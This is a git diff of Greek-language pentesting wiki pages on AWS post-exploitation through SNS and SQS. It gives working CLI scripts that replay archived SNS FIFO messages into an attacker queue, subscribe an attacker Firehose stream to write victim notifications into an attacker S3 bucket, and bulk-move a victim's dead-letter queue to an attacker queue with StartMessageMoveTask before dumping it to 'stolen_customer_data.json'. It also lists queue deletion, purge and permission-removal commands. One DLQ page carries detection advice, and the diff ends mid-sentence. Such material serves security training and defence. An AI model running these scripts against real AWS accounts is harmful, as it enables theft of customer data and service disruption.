+End-to-end CLI POC (us-east-1) +```bash +REGION=us-east-1 +# Compute a starting point; adjust later to >= BeginningArchiveTime if needed +TS_START=$(python3 - << 'PY' +from datetime import datetime, timezone, timedelta +print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) +PY +) + +# 1) Create SNS FIFO topic with archiving (2-day retention) +TOPIC_NAME=htreplay$(date +%s).fifo +TOPIC_ARN=$(aws sns create-topic --region "$REGION" \ +--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \ +--query TopicArn --output text) + +echo "Topic: $TOPIC_ARN" + +# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId) +for i in $(seq 1 3); do +aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \ +--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \ +--message-group-id g1 >/dev/null +done + +# 3) Create attacker SQS FIFO queue and allow only this topic to send +Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \ +--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \ +--attribute-names QueueArn --query Attributes.QueueArn --output text) + +cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime +BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text) +START=${TS_START} +if [ -n "$BEGIN" ]; then START="$BEGIN"; fi + +aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \ +--attribute-name ReplayPolicy \ +--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}" + +# 6) Receive replayed messages (note Replayed=true in the SNS envelope) +aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \ +--max-number-of-messages 10 --wait-time-seconds 10 \ +--message-attribute-names All --attribute-names All +``` +
+ +## Επιπτώσεις +**Πιθανή Επίπτωση**: Ένας επιτιθέμενος που μπορεί να εγγραφεί σε ένα SNS FIFO topic με ενεργοποιημένη αρχειοθέτηση και να ορίσει `ReplayPolicy` στη συνδρομή του, μπορεί αμέσως να επαναλάβει (replay) και να exfiltrate ιστορικά μηνύματα που έχουν δημοσιευτεί σε αυτό το topic, όχι μόνο μηνύματα που στάλθηκαν μετά τη δημιουργία της συνδρομής. Τα παραδοθέντα μηνύματα περιλαμβάνουν την ένδειξη `Replayed=true` στο SNS envelope. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md new file mode 100644 index 000000000..ec4a449b8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -0,0 +1,76 @@ +# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3) + +{{#include ../../../../banners/hacktricks-training.md}} + +Κατάχρηση του πρωτοκόλλου συνδρομής Firehose για να καταχωρήσετε ένα υπό έλεγχο από επιτιθέμενο Kinesis Data Firehose delivery stream σε ένα θύμα SNS standard topic. Μόλις η συνδρομή είναι εγκατεστημένη και ο απαιτούμενος IAM role εμπιστεύεται `sns.amazonaws.com`, κάθε μελλοντική ειδοποίηση καταχωρείται μόνιμα στο S3 bucket του επιτιθέμενου με ελάχιστο θόρυβο. + +## Απαιτήσεις +- Δικαιώματα στον λογαριασμό του επιτιθέμενου για να δημιουργήσει ένα S3 bucket, Firehose delivery stream, και τον IAM role που χρησιμοποιείται από το Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, κ.λπ.). +- Η δυνατότητα να εκτελέσει `sns:Subscribe` στο topic του θύματος (και προαιρετικά `sns:SetSubscriptionAttributes` αν το subscription role ARN παρέχεται μετά τη δημιουργία). +- Μια topic policy που επιτρέπει στον attacker principal να εγγραφεί (ή ο επιτιθέμενος ήδη δρα μέσα στον ίδιο λογαριασμό). + +## Βήματα επίθεσης (παράδειγμα εντός του ίδιου λογαριασμού) +```bash +REGION=us-east-1 +ACC_ID=$(aws sts get-caller-identity --query Account --output text) +SUFFIX=$(date +%s) + +# 1) Create attacker S3 bucket and Firehose delivery stream +ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX +aws s3 mb s3://$ATTACKER_BUCKET --region $REGION + +STREAM_NAME=ht-firehose-stream-$SUFFIX +FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX + +# Role Firehose assumes to write into the bucket +aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/firehose-s3-policy.json </dev/null + +# 2) IAM role SNS assumes when delivering into Firehose +SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX +aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/allow-firehose.json < +aws sns subscribe \ +--topic-arn "$TOPIC_ARN" \ +--protocol firehose \ +--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \ +--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \ +--region $REGION + +# 4) Publish test message and confirm arrival in S3 +aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION +sleep 90 +aws s3 ls s3://$ATTACKER_BUCKET/ --recursive +``` +## Καθαρισμός +- Διαγράψτε τη συνδρομή SNS, το Firehose delivery stream, τους προσωρινούς IAM ρόλους/πολιτικές και το attacker S3 bucket. + +## Επιπτώσεις +**Πιθανή Επίπτωση**: Συνεχής, μόνιμη exfiltration κάθε μηνύματος που δημοσιεύεται στο στοχευμένο SNS topic σε attacker-controlled storage με ελάχιστο λειτουργικό αποτύπωμα. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..604abedf3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,150 @@ +# AWS – SQS DLQ Redrive Εξαγωγή μέσω StartMessageMoveTask + +## Περιγραφή + +Καταχράσου τα tasks μετακίνησης μηνυμάτων του SQS για να κλέψεις όλα τα συσσωρευμένα μηνύματα από την Dead-Letter Queue (DLQ) του θύματος αναδρομολογώντας τα σε μια ουρά υπό έλεγχο του επιτιθέμενου χρησιμοποιώντας `sqs:StartMessageMoveTask`. Αυτή η τεχνική εκμεταλλεύεται τη νόμιμη λειτουργία ανάκτησης μηνυμάτων του AWS για να εξαγάγει ευαίσθητα δεδομένα που έχουν συσσωρευτεί σε DLQs με την πάροδο του χρόνου. + +## What is a Dead-Letter Queue (DLQ)? + +Μια Dead-Letter Queue είναι μια ειδική ουρά SQS όπου στέλνονται αυτόματα τα μηνύματα όταν αποτυγχάνουν να επεξεργαστούν επιτυχώς από την κύρια εφαρμογή. Αυτά τα αποτυχημένα μηνύματα συχνά περιέχουν: +- Ευαίσθητα δεδομένα εφαρμογής που δεν μπόρεσαν να επεξεργαστούν +- Λεπτομέρειες σφαλμάτων και πληροφορίες debugging +- Personal Identifiable Information (PII) +- API tokens, credentials ή άλλα μυστικά +- Επιχειρησιακά κρίσιμα δεδομένα συναλλαγών + +Οι DLQs λειτουργούν ως «νεκροταφείο» για αποτυχημένα μηνύματα, καθιστώντας τις πολύτιμους στόχους αφού συσσωρεύουν ευαίσθητα δεδομένα με την πάροδο του χρόνου που οι εφαρμογές δεν μπόρεσαν να χειριστούν σωστά. + +## Attack Scenario + +**Πραγματικό παράδειγμα:** +1. **E-commerce application** επεξεργάζεται παραγγελίες πελατών μέσω SQS +2. **Κάποιες παραγγελίες αποτυγχάνουν** (προβλήματα πληρωμών, θέματα αποθέματος κ.λπ.) και μετακινούνται σε DLQ +3. **Η DLQ συσσωρεύει** εβδομάδες/μήνες αποτυχημένων παραγγελιών που περιέχουν δεδομένα πελατών: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Ο επιτιθέμενος αποκτά πρόσβαση** σε AWS credentials με δικαιώματα SQS +5. **Ο επιτιθέμενος ανακαλύπτει** ότι η DLQ περιέχει χιλιάδες αποτυχημένες παραγγελίες με ευαίσθητα δεδομένα +6. **Αντί να προσπαθήσει να αποκτήσει πρόσβαση σε μεμονωμένα μηνύματα** (αργό και προφανές), ο επιτιθέμενος χρησιμοποιεί `StartMessageMoveTask` για να μεταφέρει μαζικά ΟΛΑ τα μηνύματα στην δική του ουρά +7. **Ο επιτιθέμενος εξάγει** όλα τα ιστορικά ευαίσθητα δεδομένα σε μία ενέργεια + +## Requirements +- Η source queue πρέπει να είναι διαμορφωμένη ως DLQ (αναφερόμενη από τουλάχιστον μία ουρά RedrivePolicy). +- IAM permissions (εκτελείται ως το συμβιβασμένο victim principal): +- Στην DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Στην destination queue: δικαίωμα παράδοσης μηνυμάτων (π.χ. policy ουράς που επιτρέπει `sqs:SendMessage` από το victim principal). Για προορισμούς στο ίδιο account αυτό συνήθως επιτρέπεται από προεπιλογή. +- Αν είναι ενεργοποιημένο SSE-KMS: στο source CMK `kms:Decrypt`, και στο destination CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impact +Εξαγωγή ευαίσθητων payloads που έχουν συσσωρευτεί σε DLQs (αποτυχημένα events, PII, tokens, payloads εφαρμογών) με υψηλή ταχύτητα χρησιμοποιώντας native SQS APIs. Λειτουργεί cross-account εάν το policy της destination queue επιτρέπει `SendMessage` από το victim principal. + +## How to Abuse + +- Εντόπισε το victim DLQ ARN και επιβεβαίωσε ότι αναφέρεται πράγματι ως DLQ από κάποια ουρά (οποιαδήποτε ουρά είναι εντάξει). +- Δημιούργησε ή επίλεξε μια ουρά υπό έλεγχο του επιτιθέμενου ως destination και πάρε το ARN της. +- Ξεκίνησε ένα message move task από την victim DLQ προς την destination queue σου. +- Παρακολούθησε την πρόοδο ή ακύρωσε αν χρειαστεί. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: Ένας επιτιθέμενος έχει συμβιβάσει AWS credentials και ανακάλυψε ότι μια e-commerce εφαρμογή χρησιμοποιεί SQS με μια DLQ που περιέχει αποτυχημένες προσπάθειες επεξεργασίας παραγγελιών πελατών. + +1) **Ανίχνευση και εξέταση της victim DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Δημιουργήστε attacker-controlled destination queue** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Εκτέλεση της μαζικής κλοπής μηνυμάτων** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Συλλογή των κλεμμένων ευαίσθητων δεδομένων** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Σημειώσεις μεταξύ λογαριασμών +- Η ουρά προορισμού πρέπει να έχει resource policy που επιτρέπει στον principal του θύματος να `sqs:SendMessage` (και, αν χρησιμοποιούνται, KMS grants/permissions). + +## Γιατί αυτή η επίθεση είναι αποτελεσματική + +1. **Νόμιμη λειτουργία του AWS**: Χρησιμοποιεί ενσωματωμένη λειτουργικότητα του AWS, καθιστώντας δύσκολη την ανίχνευση ως κακόβουλη +2. **Μαζική λειτουργία**: Μεταφέρει χιλιάδες μηνύματα γρήγορα αντί για αργή μεμονωμένη πρόσβαση +3. **Ιστορικά δεδομένα**: Οι DLQs συσσωρεύουν ευαίσθητα δεδομένα για εβδομάδες/μήνες +4. **Κάτω από το ραντάρ**: Πολλές οργανώσεις δεν παρακολουθούν στενά την πρόσβαση σε DLQ +5. **Cross-Account Capable**: Μπορεί να εξάγει (exfiltrate) σε δικό του AWS account του attacker εάν οι άδειες το επιτρέπουν + +## Ανίχνευση και Πρόληψη + +### Ανίχνευση +Παρακολουθήστε το CloudTrail για ύποπτες κλήσεις API `StartMessageMoveTask`: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Πρόληψη +1. **Ελάχιστα προνόμια**: Περιορίστε τα δικαιώματα `sqs:StartMessageMoveTask` μόνο σε απαραίτητους ρόλους +2. **Παρακολούθηση DLQs**: Ρυθμίστε συναγερμούς CloudWatch για ασυνήθιστη δραστηριότητα σε DLQs +3. **Πολιτικές μεταξύ λογαριασμών**: Ελέγξτε προσεκτικά τις πολιτικές ουρών SQS που επιτρέπουν πρόσβαση μεταξύ λογαριασμών +4. **Κρυπτογράφηση DLQs**: Χρησιμοποιήστε SSE-KMS με περιορισμένες πολιτικές κλειδιών +5. **Τακτικός καθαρισμός**: Μην αφήνετε ευαίσθητα δεδομένα να συσσωρεύονται στα DLQs επ' αόριστον diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md deleted file mode 100644 index a45a55621..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ /dev/null @@ -1,73 +0,0 @@ -# AWS - SQS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στην ουρά SQS, ενδεχομένως προκαλώντας διαφθορά δεδομένων, ενεργοποιώντας μη προγραμματισμένες ενέργειες ή εξαντλώντας πόρους. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Πιθανές Επιπτώσεις**: Εκμετάλλευση ευπαθειών, Διαφθορά δεδομένων, μη προγραμματισμένες ενέργειες ή εξάντληση πόρων. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Ένας επιτιθέμενος θα μπορούσε να λάβει, να διαγράψει ή να τροποποιήσει την ορατότητα μηνυμάτων σε μια SQS ουρά, προκαλώντας απώλεια μηνυμάτων, διαφθορά δεδομένων ή διακοπή υπηρεσίας για εφαρμογές που βασίζονται σε αυτά τα μηνύματα. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Πιθανές Επιπτώσεις**: Κλοπή ευαίσθητων πληροφοριών, απώλεια μηνυμάτων, διαφθορά δεδομένων και διακοπή υπηρεσιών για εφαρμογές που βασίζονται στα επηρεαζόμενα μηνύματα. - -### `sqs:DeleteQueue` - -Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρη την SQS ουρά, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας τις εφαρμογές που βασίζονται στην ουρά. -```arduino -Copy codeaws sqs delete-queue --queue-url -``` -**Πιθανές Επιπτώσεις**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν την διαγραμμένη ουρά. - -### `sqs:PurgeQueue` - -Ένας επιτιθέμενος θα μπορούσε να καθαρίσει όλα τα μηνύματα από μια SQS ουρά, οδηγώντας σε απώλεια μηνυμάτων και πιθανή διακοπή εφαρμογών που βασίζονται σε αυτά τα μηνύματα. -```arduino -Copy codeaws sqs purge-queue --queue-url -``` -**Πιθανές Επιπτώσεις**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που βασίζονται στα διαγραμμένα μηνύματα. - -### `sqs:SetQueueAttributes` - -Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά μιας SQS ουράς, επηρεάζοντας ενδεχομένως την απόδοσή της, την ασφάλεια ή τη διαθεσιμότητά της. -```arduino -aws sqs set-queue-attributes --queue-url --attributes -``` -**Πιθανές Επιπτώσεις**: Λάθη στη διαμόρφωση που οδηγούν σε υποβαθμισμένη απόδοση, προβλήματα ασφάλειας ή μειωμένη διαθεσιμότητα. - -### `sqs:TagQueue` , `sqs:UntagQueue` - -Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από τους πόρους SQS, διαταράσσοντας την κατανομή κόστους της οργάνωσής σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης με βάση τις ετικέτες. -```bash -aws sqs tag-queue --queue-url --tags Key=,Value= -aws sqs untag-queue --queue-url --tag-keys -``` -**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση τις ετικέτες. - -### `sqs:RemovePermission` - -Ένας επιτιθέμενος θα μπορούσε να ανακαλέσει δικαιώματα για νόμιμους χρήστες ή υπηρεσίες αφαιρώντας πολιτικές που σχετίζονται με την SQS ουρά. Αυτό θα μπορούσε να οδηγήσει σε διαταραχές στη φυσιολογική λειτουργία εφαρμογών που βασίζονται στην ουρά. -```arduino -arduinoCopy codeaws sqs remove-permission --queue-url --label -``` -**Πιθανές Επιπτώσεις**: Διακοπή της κανονικής λειτουργίας για εφαρμογές που βασίζονται στην ουρά λόγω μη εξουσιοδοτημένης αφαίρεσης δικαιωμάτων. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md new file mode 100644 index 000000000..6ae99de9b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md @@ -0,0 +1,83 @@ +# AWS - SQS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Ένας επιτιθέμενος θα μπορούσε να στείλει κακόβουλα ή ανεπιθύμητα μηνύματα στην SQS ουρά, ενδεχομένως προκαλώντας καταστροφή δεδομένων, ενεργοποιώντας ανεπιθύμητες ενέργειες ή εξαντλώντας πόρους. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Πιθανός Αντίκτυπος**: Εκμετάλλευση ευπαθειών, διαφθορά δεδομένων, μη επιθυμητές ενέργειες ή εξάντληση πόρων. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Ένας επιτιθέμενος θα μπορούσε να λάβει, να διαγράψει ή να τροποποιήσει την ορατότητα των μηνυμάτων σε μια SQS queue, προκαλώντας απώλεια μηνυμάτων, διαφθορά δεδομένων ή διαταραχή υπηρεσίας για εφαρμογές που εξαρτώνται από αυτά τα μηνύματα. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potential Impact**: Κλοπή ευαίσθητων πληροφοριών, απώλεια μηνυμάτων, διαφθορά δεδομένων και διακοπή υπηρεσίας για εφαρμογές που βασίζονται στα επηρεαζόμενα μηνύματα. + +### `sqs:DeleteQueue` + +Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρη μια ουρά SQS, προκαλώντας απώλεια μηνυμάτων και επηρεάζοντας τις εφαρμογές που βασίζονται σε αυτήν. +```bash +aws sqs delete-queue --queue-url +``` +**Potential Impact**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν την διαγραμμένη ουρά. + +### `sqs:PurgeQueue` + +Ένας επιτιθέμενος θα μπορούσε να εκκαθαρίσει όλα τα μηνύματα από μια SQS ουρά, οδηγώντας σε απώλεια μηνυμάτων και πιθανή διακοπή λειτουργίας των εφαρμογών που εξαρτώνται από αυτά τα μηνύματα. +```bash +aws sqs purge-queue --queue-url +``` +**Πιθανός Αντίκτυπος**: Απώλεια μηνυμάτων και διακοπή υπηρεσίας για εφαρμογές που βασίζονται στα διαγραμμένα μηνύματα. + +### `sqs:SetQueueAttributes` + +Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τα χαρακτηριστικά μιας ουράς SQS, ενδεχομένως επηρεάζοντας την απόδοσή της, την ασφάλεια ή τη διαθεσιμότητά της. +```bash +aws sqs set-queue-attributes --queue-url --attributes +``` +**Πιθανός Αντίκτυπος**: Λανθασμένες διαμορφώσεις που οδηγούν σε υποβαθμισμένη απόδοση, προβλήματα ασφάλειας ή μειωμένη διαθεσιμότητα. + +### `sqs:TagQueue` , `sqs:UntagQueue` + +Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει tags από πόρους SQS, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε tags. +```bash +aws sqs tag-queue --queue-url --tags Key=,Value= +aws sqs untag-queue --queue-url --tag-keys +``` +**Potential Impact**: Διαταραχή στην κατανομή κόστους, στην παρακολούθηση πόρων και στις πολιτικές ελέγχου πρόσβασης βάσει tags. + +### `sqs:RemovePermission` + +Ένας επιτιθέμενος θα μπορούσε να ανακαλέσει δικαιώματα νόμιμων χρηστών ή υπηρεσιών αφαιρώντας πολιτικές που σχετίζονται με την SQS queue. Αυτό μπορεί να οδηγήσει σε διακοπές στη φυσιολογική λειτουργία εφαρμογών που εξαρτώνται από την ουρά. +```bash +aws sqs remove-permission --queue-url --label +``` +**Πιθανός αντίκτυπος**: Διατάραξη της κανονικής λειτουργίας των εφαρμογών που εξαρτώνται από την ουρά λόγω μη εξουσιοδοτημένης αφαίρεσης δικαιωμάτων. + +### Περισσότερες SQS Post-Exploitation Techniques + +{{#ref}} +aws-sqs-dlq-redrive-exfiltration.md +{{#endref}} + +{{#ref}} +aws-sqs-sns-injection.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..6c25208b6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,154 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +{{#include ../../../../banners/hacktricks-training.md}} + +## Description + +Κακοποίηση των SQS message move tasks για να κλαπούν όλα τα συσσωρευμένα μηνύματα από το Dead-Letter Queue (DLQ) ενός θύματος αναδρομολογώντας τα σε ουρά ελεγχόμενη από τον επιτιθέμενο χρησιμοποιώντας `sqs:StartMessageMoveTask`. Αυτή η τεχνική εκμεταλλεύεται το νόμιμο χαρακτηριστικό ανάκτησης μηνυμάτων του AWS για να εξάγει ευαίσθητα δεδομένα που έχουν συσσωρευτεί σε DLQs με την πάροδο του χρόνου. + +## What is a Dead-Letter Queue (DLQ)? + +Μια Dead-Letter Queue είναι μια ειδική SQS ουρά όπου τα μηνύματα αποστέλλονται αυτόματα όταν δεν επεξεργάζονται επιτυχώς από την κύρια εφαρμογή. Αυτά τα αποτυχημένα μηνύματα συχνά περιέχουν: +- Ευαίσθητα δεδομένα εφαρμογής που δεν μπορούσαν να επεξεργαστούν +- Λεπτομέρειες σφαλμάτων και πληροφορίες debugging +- Personal Identifiable Information (PII) +- API tokens, credentials, ή άλλα secrets +- Επιχειρηματικά κρίσιμα δεδομένα συναλλαγών + +Οι DLQs λειτουργούν ως "νεκροταφείο" για αποτυχημένα μηνύματα, καθιστώντας τα πολύτιμους στόχους αφού συσσωρεύουν ευαίσθητα δεδομένα με την πάροδο του χρόνου που οι εφαρμογές δεν μπόρεσαν να διαχειριστούν σωστά. + +## Attack Scenario + +**Real-world example:** +1. **E-commerce application** επεξεργάζεται παραγγελίες πελατών μέσω SQS +2. **Some orders fail** (προβλήματα πληρωμής, αποθέματος, κ.λπ.) και μεταφέρονται σε ένα DLQ +3. **DLQ accumulates** εβδομάδες/μήνες αποτυχημένων παραγγελιών που περιέχουν δεδομένα πελατών: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"} +4. **Attacker gains access** σε AWS credentials με δικαιώματα SQS +5. **Attacker discovers** ότι το DLQ περιέχει χιλιάδες αποτυχημένες παραγγελίες με ευαίσθητα δεδομένα +6. **Instead of trying to access individual messages** (αργό και προφανές), ο επιτιθέμενος χρησιμοποιεί `StartMessageMoveTask` για μαζική μεταφορά ΟΛΩΝ των μηνυμάτων στην δική του ουρά +7. **Attacker extracts** όλα τα ιστορικά ευαίσθητα δεδομένα με μία ενέργεια + +## Requirements +- Η source queue πρέπει να έχει ρυθμιστεί ως DLQ (referenced by at least one queue RedrivePolicy). +- IAM permissions (τρέχοντας ως ο συμβιβασμένος victim principal): +- Στο DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Στην destination queue: δικαίωμα παράδοσης μηνυμάτων (π.χ. queue policy που επιτρέπει `sqs:SendMessage` από τον victim principal). Για προορισμούς στο ίδιο account αυτό συνήθως επιτρέπεται από προεπιλογή. +- Αν είναι ενεργοποιημένο το SSE-KMS: στο source CMK `kms:Decrypt`, και στο destination CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impact +**Potential Impact**: Εξαγωγή ευαίσθητων payloads που έχουν συσσωρευτεί σε DLQs (αποτυχημένα events, PII, tokens, application payloads) με υψηλή ταχύτητα χρησιμοποιώντας τις εγγενείς SQS APIs. Λειτουργεί cross-account εάν η destination queue policy επιτρέπει `SendMessage` από τον victim principal. + +## How to Abuse + +- Εντοπίστε το victim DLQ ARN και βεβαιωθείτε ότι αυτό αναφέρεται πραγματικά ως DLQ από κάποια ουρά (οποιαδήποτε ουρά είναι αποδεκτή). +- Δημιουργήστε ή επιλέξτε μια attacker-controlled destination queue και πάρτε το ARN της. +- Ξεκινήστε ένα message move task από το victim DLQ προς την destination queue σας. +- Παρακολουθήστε την πρόοδο ή ακυρώστε αν χρειαστεί. + +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: Ένας επιτιθέμενος έχει παραβιάσει AWS credentials και ανακάλυψε ότι μια e-commerce εφαρμογή χρησιμοποιεί SQS με 